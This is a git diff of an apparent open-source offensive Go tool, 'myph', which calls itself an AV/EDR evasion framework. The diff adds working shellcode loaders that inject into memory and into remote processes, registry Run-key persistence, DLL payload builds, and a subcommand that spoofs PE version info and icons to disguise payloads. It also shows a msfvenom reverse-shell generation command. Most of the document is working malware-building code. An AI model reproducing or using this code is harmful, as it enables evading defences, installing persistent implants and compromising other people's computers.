diff --git a/.github/test-data/example.json b/.github/test-data/example.json
@@ -0,0 +1,35 @@
+{
+ "RT_GROUP_ICON": {
+ "APP": {
+ "0000": [
+ "smersh.png"
+ ]
+ },
+ "#42": {
+ "040C": "pwned.ico"
+ }
+ },
+ "RT_MANIFEST": {
+ "#1": {
+ "0409": {}
+ }
+ },
+ "RT_VERSION": {
+ "#1": {
+ "0409": {
+ "info": {
+ "0409": {
+ "FileDescription": "golang shellcode loader",
+ "InternalName": "myph",
+ "LegalCopyright": "CMEPW -- GPLv3",
+ "OriginalFilename": "payload.exe",
+ "ProductName": "myph-payload",
+ "ProductVersion": "1.0",
+ "FileVersion": "1.0",
+ "Comments": "Ca devrait le faire"
+ }
+ }
+ }
+ }
+ }
+}
diff --git a/.github/test-data/pwned.ico b/.github/test-data/pwned.ico
Binary files differ.
diff --git a/.github/test-data/smersh.png b/.github/test-data/smersh.png
Binary files differ.
diff --git a/Makefile b/Makefile
@@ -2,7 +2,7 @@
# -------------------
APP_NAME = myph
-APP_VERSION = 1.1.0
+APP_VERSION = 1.2.0
GIT_REVISION = `git rev-parse HEAD`
DOCKER_IMAGE_TAG ?= $(APP_VERSION)
DOCKER_LOCAL_IMAGE = $(APP_NAME):$(DOCKER_IMAGE_TAG)
diff --git a/README.md b/README.md
@@ -38,34 +38,69 @@ go install github.com/cmepw/myph@latest
### Usage
-```bash
+```
+
+ ... -==[ M Y P H ]==-
+ ;::::;
+ ;::::; :; In loving memory of
+ ;:::::' :; Wassyl Iaroslavovytch Slipak
+ ;:::::; ;.
+ ,:::::' ; OOO (1974 - 2016)
+ ::::::; ; OOOOO
+ ;:::::; ; OOOOOOOO
+ ,;::::::; ;' / OOOOOOO
+ ;::::::::: . ,,,;. / / DOOOOOO
+ .';:::::::::::::::::;, / / DOOOO
+ ,::::::;::::::;;;;::::;, / / DOOO AV / EDR evasion framework
+; :::::: '::::::;;;::::: ,#/ / DOOO to pop shells and
+: ::::::: ;::::::;;::: ;::# / DOOO make the blue team cry
+:: ::::::: ;:::::::: ;::::# / DOO
+ : ::::::: ;:::::: ;::::::#/ DOO
+ ::: ::::::: ;; ;:::::::::## OO written with <3 by djnn
+ :::: ::::::: ;::::::::;:::# OO ------
+ ::::: ::::::::::::;' :;::# O https://djnn.sh
+ ::::: ::::::::; / / :#
+ :::::: :::::; / / #
+
Usage:
myph [flags]
+ myph [command]
+
+Available Commands:
+ completion Generate the autocompletion script for the specified shell
+ help Help about any command
+ spoof spoof PE metadata using versioninfo
Flags:
+ -b, --builtype string define the output type (allowed: exe, dll) (default "exe")
-e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
-h, --help help for myph
-k, --key string encryption key, auto-generated if empty. (if used by --encryption)
-f, --out string output name (default "payload.exe")
+ -z, --persistence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
--sleep-time uint sleep time in seconds before executing loader (default: 0)
- -t, --technique string shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
+ -t, --technique string shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp) (default "CRT")
-v, --version version for myph
```
-#### Methods
+#### Loader Methods
This tool supports few methods for now, but aims to add more as time goes on:
-- CreateThread
-- CreateRemoteThread
- Syscall
+- CreateFiber
+- CreateThread
- Process hollowing
+- EnumCalendarInfoA
+- CreateRemoteThread
+- EtwpCreateEtwThread
+- CreateRemoteThreadEx
If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
-#### Example
+#### Example run
Generate a payload like so:
@@ -78,6 +113,9 @@ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o ms
# you should find your payload here
file ./something.exe
+
+# add some program metada
+./myph spoof --pe something.exe --file .github/test-data/example.json
```
#### Using docker
@@ -90,6 +128,72 @@ make docker
docker build . -t myph:latest
```
+#### Editing file properties
+
+A subcommand is available to edit a PE file's properties & change its icon or file version (for instance).
+For more information on CLI usage, you can run:
+```bash
+# will give you a little help display
+./myph spoof --help
+
+# will edit demo.exe with the data specified in example.json
+./myph spoof --pe demo.exe --file example.json
+```
+
+It expects a JSON file, containing the metadata you want to set. You can find an example in `.github/test-data` directory.
+
+Information on resource types and language IDs can be found [here](https://learn.microsoft.com/en-us/windows/win32/menurc/resource-types) and [here](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-lcid/70feba9f-294e-491e-b6eb-56532684c37f).
+
+You can set data depending on the language.
+BMP, ICO, and PNG files are supported, and you can a wide array of information:
+
+```json
+{
+ "RT_VERSION": {
+ "#1": {
+ "0000": {
+ "fixed": {
+ "file_version": "1.2",
+ "product_version": "1.2.3",
+ "flags": "Debug,Patched",
+ "timestamp": "2020-12-18T23:00:00+01:00"
+ },
+ "info": {
+ "0409": {
+ "Comments": "that should do it",
+ "CompanyName": "Smersh",
+ "FileDescription": "smrsh 4 evr",
+ "FileVersion": "1.2",
+ "InternalName": "",
+ "LegalCopyright": "GNU GPL v3",
+ "LegalTrademarks": "",
+ "OriginalFilename": "myph.exe",
+ "PrivateBuild": "",
+ "ProductName": "myph ldr",
+ "ProductVersion": "1.2 release",
+ "SpecialBuild": ""
+ },
+ "040C": {
+ "Comments": "ca devrait le faire",
+ "CompanyName": "Smersh",
+ "FileDescription": "smrh pr tjrs",
+ "FileVersion": "1.2",
+ "InternalName": "",
+ "LegalCopyright": "GNU GPL v3",
+ "LegalTrademarks": "",
+ "OriginalFilename": "myph.exe",
+ "PrivateBuild": "",
+ "ProductName": "myph ldr",
+ "ProductVersion": "1.2 release",
+ "SpecialBuild": ""
+ }
+ }
+ }
+ }
+ }
+}
+```
+
### Contributing
Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
diff --git a/TODO.txt b/TODO.txt
@@ -2,19 +2,14 @@
####### ROADMAP 1.2.0 #######
#############################
-Templates:
- - CreateRemoteThreadEx
- - CreateFiber
- - EtwpCreateEtwThread
-
Misc:
- - support for loading modules from PEB
- - Research indirect syscalls
+ - support for loading API calls from PEB
- Refactoring CLI options to interfaces
- Decrypt shellcode at the last possible time & split templates into trigger & prepare-payload functions
-Commands:
- - Add support for GoVersionInfo
+
+Encoders:
+ - add support for SGN
#############################
@@ -27,7 +22,12 @@ Commands:
Sleep / jitter:
- Ekko
+
+dll:
+ - hijacking techniques (teams/onedrive)
+
Misc:
- indirect syscalls
- support for dameonizing ?
- introduce ppid spoofing ?
+ - add support for passing arguments to payload from command-line
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -7,15 +7,19 @@ import (
// Get default value for Options struct
func GetDefaultCLIOptions() Options {
opts := Options{
- ShellcodePath: "msf.raw",
- OutName: "payload.exe",
- OS: "windows",
- Arch: "amd64",
- Target: "cmd.exe",
- Encryption: EncKindAES,
- Key: "",
- Technique: "CRT",
- SleepTime: 0,
+ ShellcodePath: "msf.raw",
+ OutName: "payload.exe",
+ OS: "windows",
+ Arch: "amd64",
+ Target: "cmd.exe",
+ Encryption: EncKindAES,
+ Key: "",
+ Technique: "CRT",
+ SleepTime: 0,
+ PEFilePath: "payload.exe",
+ VersionFilePath: "goversion.json",
+ BuildType: "exe",
+ Persistence: "",
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -4,14 +4,17 @@ import (
"fmt"
"os"
"os/exec"
+ "path/filepath"
"github.com/cmepw/myph/loaders"
+ "github.com/cmepw/myph/rc"
"github.com/cmepw/myph/tools"
"github.com/spf13/cobra"
+ "github.com/tc-hib/winres"
)
const MYPH_TMP_DIR = "/tmp/myph-out"
-const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload.exe"
+const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload."
const ASCII_ART = `
... -==[ M Y P H ]==-
@@ -39,10 +42,82 @@ const ASCII_ART = `
`
+func BuildLoader(opts *Options) *exec.Cmd {
+ if opts.BuildType == "dll" {
+ os.Setenv("GOOS", opts.OS)
+ os.Setenv("GOARCH", opts.Arch)
+ os.Setenv("CGO_ENABLED", "1")
+ os.Setenv("CC", "x86_64-w64-mingw32-gcc")
+ fmt.Println("[*] Compiling payload as dll...")
+
+ return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".")
+ } else if opts.BuildType == "exe" {
+ fmt.Println("[*] Compiling payload as executable...")
+
+ return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+ } else {
+ fmt.Printf("[!] Buildtype format not supported!")
+ return nil
+ }
+}
+
func GetParser(opts *Options) *cobra.Command {
- version := "1.1.0"
- var cmd = &cobra.Command{
+ version := "1.2.0"
+ var spoofMetadata = &cobra.Command{
+ Use: "spoof",
+ Version: version,
+ DisableSuggestions: true,
+ Short: "spoof PE metadata using versioninfo",
+ Long: ASCII_ART,
+ Run: func(cmd *cobra.Command, args []string) {
+
+ /* obligatory skid ascii art */
+ fmt.Printf("%s\n\n", ASCII_ART)
+
+ exe, err := os.Open(opts.PEFilePath)
+ if err != nil {
+ panic(err)
+ }
+ defer exe.Close()
+
+ rs, err := winres.LoadFromEXE(exe)
+ if err != nil {
+ rs = &winres.ResourceSet{}
+ }
+
+ err = rc.LoadResourcesFromJson(rs, opts.VersionFilePath)
+ if err != nil {
+ panic(err)
+ }
+
+ fmt.Printf("[+] Successfully extracted PE metadata from JSON\n")
+
+ tmpPath := "/tmp/" + filepath.Base(opts.PEFilePath) + ".tmp"
+ out, err := os.Create(tmpPath)
+ if err != nil {
+ panic(err)
+ }
+ defer out.Close()
+
+ err = rs.WriteToEXE(out, exe, winres.WithAuthenticode(winres.IgnoreSignature))
+ if err != nil {
+ panic(err)
+ }
+
+ fmt.Printf("[+] New metadata is set !\n")
+
+ exe.Close()
+ out.Close()
+
+ os.Remove(opts.PEFilePath)
+ tools.MoveFile(tmpPath, opts.PEFilePath)
+
+ fmt.Printf("[+] Done !\n")
+ },
+ }
+
+ var runLoader = &cobra.Command{
Use: "myph",
Version: version,
DisableSuggestions: true,
@@ -54,7 +129,7 @@ func GetParser(opts *Options) *cobra.Command {
fmt.Printf("%s\n\n", ASCII_ART)
/* later, we will call "go build" on a golang project, so we need to set up the project tree */
- err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR)
+ err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR, opts.Persistence)
if err != nil {
fmt.Printf("[!] Error generating project root: %s\n", err)
os.Exit(1)
@@ -149,6 +224,21 @@ func GetParser(opts *Options) *cobra.Command {
panic(err)
}
+ persistData := ""
+ if opts.Persistence != "" {
+ persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence)
+ execCmd := exec.Command("go", "get", "golang.org/x/sys/windows/registry")
+ execCmd.Dir = MYPH_TMP_DIR
+ _, _ = execCmd.Output()
+
+ template = tools.GetPersistTemplate()
+ err = tools.WriteToFile(MYPH_TMP_DIR, "persist.go", template)
+ if err != nil {
+ panic(err)
+ }
+ fmt.Printf("\nUsing persistence technique, file will be installed to %%APPDATA%%\\%s\n", opts.Persistence)
+ }
+
/* write main execution template */
encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
@@ -160,15 +250,14 @@ func GetParser(opts *Options) *cobra.Command {
encodedKey,
encodedShellcode,
opts.SleepTime,
+ persistData,
+ opts.BuildType == "dll",
),
)
if err != nil {
panic(err)
}
- os.Setenv("GOOS", opts.OS)
- os.Setenv("GOARCH", opts.Arch)
-
templateFunc := loaders.SelectTemplate(opts.Technique)
if templateFunc == nil {
fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
@@ -181,7 +270,7 @@ func GetParser(opts *Options) *cobra.Command {
}
fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
- execCmd := exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
+ execCmd := BuildLoader(opts)
execCmd.Dir = MYPH_TMP_DIR
_, stderr := execCmd.Output()
@@ -200,7 +289,11 @@ func GetParser(opts *Options) *cobra.Command {
os.Exit(1)
}
- tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
+ format := "exe"
+ if opts.BuildType == "dll" {
+ format = "dll"
+ }
+ tools.MoveFile(MYPH_TMP_WITH_PAYLOAD+format, opts.OutName+"."+format)
os.RemoveAll(MYPH_TMP_DIR)
fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName)
@@ -208,16 +301,23 @@ func GetParser(opts *Options) *cobra.Command {
}
defaults := GetDefaultCLIOptions()
+ var rootCmd = runLoader
+
+ rootCmd.AddCommand(spoofMetadata)
- cmd.PersistentFlags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
- cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
- cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
- cmd.PersistentFlags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall)")
+ rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
+ rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
+ rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
+ rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, EnumCalendarInfoA, Syscall, Etwp)")
+ rootCmd.Flags().StringVarP(&opts.BuildType, "builtype", "b", defaults.BuildType, "define the output type (allowed: exe, dll)")
+ rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
+ rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+ rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
+ rootCmd.PersistentFlags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
- cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
- cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+ spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
+ spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
- cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
+ return rootCmd
- return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -14,10 +14,14 @@ const (
EncKindBLF encKind = "blowfish"
EncKindC20 encKind = "chacha20"
- CRT technique = "CRT"
- SYSCALL technique = "Syscall"
- CreateThread technique = "CreateThread"
- ProcessHollowing technique = "ProcessHollowing"
+ CRT technique = "CRT"
+ CRTx technique = "CRTx"
+ ETWP technique = "Etwp"
+ SYSCALL technique = "Syscall"
+ CreateFiber technique = "CreateFiber"
+ CreateThread technique = "CreateThread"
+ ProcessHollowing technique = "ProcessHollowing"
+ EnumCalendarInfoA technique = "EnumCalendarInfoA"
)
// String is used both by fmt.Print and by Cobra in help text
@@ -49,11 +53,11 @@ func (e *technique) String() string {
// Set must have pointer receiver so it doesn't change the value of a copy
func (e *technique) Set(v string) error {
switch v {
- case "CreateThread", "CRT", "ProcessHollowing", "Syscall":
+ case "CreateThread", "CRT", "ProcessHollowing", "Syscall", "CreateFiber", "CRTx", "EnumCalendarInfoA", "Etwp":
*e = technique(v)
return nil
default:
- return errors.New("must be one of \"CRT\", \"Syscall\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
+ return errors.New("must be one of \"CRT\", \"CRTx\", \"Syscall\", \"CreateFiber\", \"Etwp\", \"EnumCalendarInfoA\", \"ProcessHollowing\" or \"CreateThread\"\n\n")
}
}
@@ -90,4 +94,16 @@ type Options struct {
// Sleep time before running execution
SleepTime uint
+
+ // Registry-Persistence handler
+ Persistence string
+
+ // Goversion filepath
+ VersionFilePath string
+
+ // PE filepath
+ PEFilePath string
+
+ // Build type
+ BuildType string
}
diff --git a/go.mod b/go.mod
@@ -9,6 +9,9 @@ require (
require (
github.com/inconshreveable/mousetrap v1.1.0 // indirect
+ github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 // indirect
github.com/spf13/pflag v1.0.5 // indirect
+ github.com/tc-hib/winres v0.2.0 // indirect
+ golang.org/x/image v0.1.0 // indirect
golang.org/x/sys v0.10.0 // indirect
)
diff --git a/go.sum b/go.sum
@@ -1,14 +1,44 @@
github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ=
+github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8=
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/spf13/cobra v1.7.0 h1:hyqWnYt1ZQShIddO5kBpj3vu05/++x6tJ6dg8EC572I=
github.com/spf13/cobra v1.7.0/go.mod h1:uLxZILRyS/50WlhOIKD7W6V5bgeIt+4sICxh6uRMrb0=
github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA=
github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
+github.com/tc-hib/winres v0.2.0 h1:gly/ivDWGvlhl7ENtEmA7wPQ6dWab1LlLq/DgcZECKE=
+github.com/tc-hib/winres v0.2.0/go.mod h1:uG6S5M2Q0/kThoqsCSYvGJODUQP9O9R0SNxUPmFIegw=
+github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
golang.org/x/crypto v0.11.0 h1:6Ewdq3tDic1mg5xRO4milcWCfMVQhI4NkqWWvqejpuA=
golang.org/x/crypto v0.11.0/go.mod h1:xgJhtzW8F9jGdVFWZESrid1U1bjeNy4zgy5cRr/CIio=
+golang.org/x/image v0.1.0 h1:r8Oj8ZA2Xy12/b5KZYj3tuv7NG/fBz3TwQVvpJ9l8Rk=
+golang.org/x/image v0.1.0/go.mod h1:iyPr49SD/G/TBxYVB/9RRtGUT5eNbo2u4NamWeQcD5c=
+golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA=
golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/text v0.4.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
diff --git a/loaders/createFiber.go b/loaders/createFiber.go
@@ -0,0 +1,66 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetCreateFiberTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "os"
+ "unsafe"
+ "syscall"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_READWRITE = 0x04
+)
+
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ VirtualProtect = kernel32.MustFindProc("VirtualProtect")
+ ConvertThreadToFiber = kernel32.MustFindProc("ConvertThreadToFiber")
+ CreateFiber = kernel32.MustFindProc("CreateFiber")
+ SwitchToFiber = kernel32.MustFindProc("SwitchToFiber")
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+)
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+ /* convert main thread to fiber */
+ fiberAddr, _, _ := ConvertThreadToFiber.Call()
+ if fiberAddr == 0 {
+ os.Exit(1)
+ }
+
+ /* allocate memory for the shellcode with VirtualAlloc & set the correct permissions */
+ addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
+ if addr == 0 {
+ os.Exit(1)
+ }
+
+ /* copy shellcode to allocated space */
+ _, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
+
+ /* change memory permissions so that it can execute */
+ oldProtect := PAGE_READWRITE
+ _, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
+
+ /* call CreateFiber & switch to the fiber to execute the payload */
+ fiber, _, _ := CreateFiber.Call(0, addr, 0)
+ _, _, _ = SwitchToFiber.Call(fiber)
+
+}
+ `)
+}
diff --git a/loaders/createRemoteThreadEx.go b/loaders/createRemoteThreadEx.go
@@ -0,0 +1,109 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetCRTxTemplate(targetProcess string) string {
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_READWRITE = 0x4
+ PAGE_EXECUTE_READ = 0x20
+ PAGE_EXECUTE_READWRITE = 0x40
+ CREATE_SUSPENDED = 0x4
+ CREATE_NO_WINDOW = 0x8000000
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+
+ VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
+ VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
+ WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
+ CreateRemoteThreadEx = kernel32.MustFindProc("CreateRemoteThreadEx")
+)
+
+func loadProcess(target string) *syscall.ProcessInformation {
+ var si syscall.StartupInfo
+ var pi syscall.ProcessInformation
+
+ commandLine, err := syscall.UTF16PtrFromString(target)
+ if err != nil {
+ panic(err)
+ }
+
+ err = syscall.CreateProcess(
+ nil,
+ commandLine,
+ nil,
+ nil,
+ false,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW,
+ nil,
+ nil,
+ &si,
+ &pi,
+ ); if err != nil {
+ panic(err)
+ }
+
+ return &pi
+}
+
+func ExecuteOrderSixtySix(shellcode []byte){
+
+ /* spawn target process */
+ process := loadProcess("%s")
+ oldProtectCfg := PAGE_READWRITE
+
+ /* allocating the appropriate amount of memory */
+ baseAddr, _, _ := VirtualAllocEx.Call(
+ uintptr(process.Process),
+ 0,
+ uintptr(len(shellcode)),
+ MEM_COMMIT | MEM_RESERVE,
+ PAGE_READWRITE,
+ )
+
+ /* overwriting process memory with our shellcode */
+ _, _, _ = WriteProcessMemory.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(unsafe.Pointer(&shellcode[0])),
+ uintptr(len(shellcode)),
+ 0,
+ )
+
+ /* changing permissions for our memory segment */
+ _, _, _ = VirtualProtectEx.Call(
+ uintptr(process.Process),
+ baseAddr,
+ uintptr(len(shellcode)),
+ PAGE_EXECUTE_READ,
+ uintptr(unsafe.Pointer(&oldProtectCfg)),
+ )
+
+ /* load remote thread */
+ _, _, _ = CreateRemoteThreadEx.Call(
+ uintptr(process.Process),
+ 0,
+ 0,
+ baseAddr,
+ 0,
+ 0,
+ 0,
+ )
+}
+
+ `, targetProcess)
+}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -5,9 +5,8 @@ import (
)
func GetCreateThreadTemplate(targetProcess string) string {
- var _ = targetProcess // unused in this template
+ InformProcessUnused(targetProcess)
- println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
return fmt.Sprintf(`
package main
diff --git a/loaders/enumcalendarinfoa.go b/loaders/enumcalendarinfoa.go
@@ -0,0 +1,59 @@
+package loaders
+
+import (
+ "fmt"
+)
+
+func GetEnumCalendarInfoATemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ return fmt.Sprintf(`
+package main
+
+import (
+ "syscall"
+ "unsafe"
+)
+
+const (
+ MEM_COMMIT = 0x1000
+ MEM_RESERVE = 0x2000
+ PAGE_EXECUTE_READWRITE = 0x40
+)
+
+var (
+ kernel32 = syscall.MustLoadDLL("kernel32.dll")
+ ntdll = syscall.MustLoadDLL("ntdll.dll")
+
+ VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
+ EnumCalendarInfoA = kernel32.MustFindProc("EnumCalendarInfoA")
+ RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
+
+ LOCALE_USER_DEFAULT = 0x0400
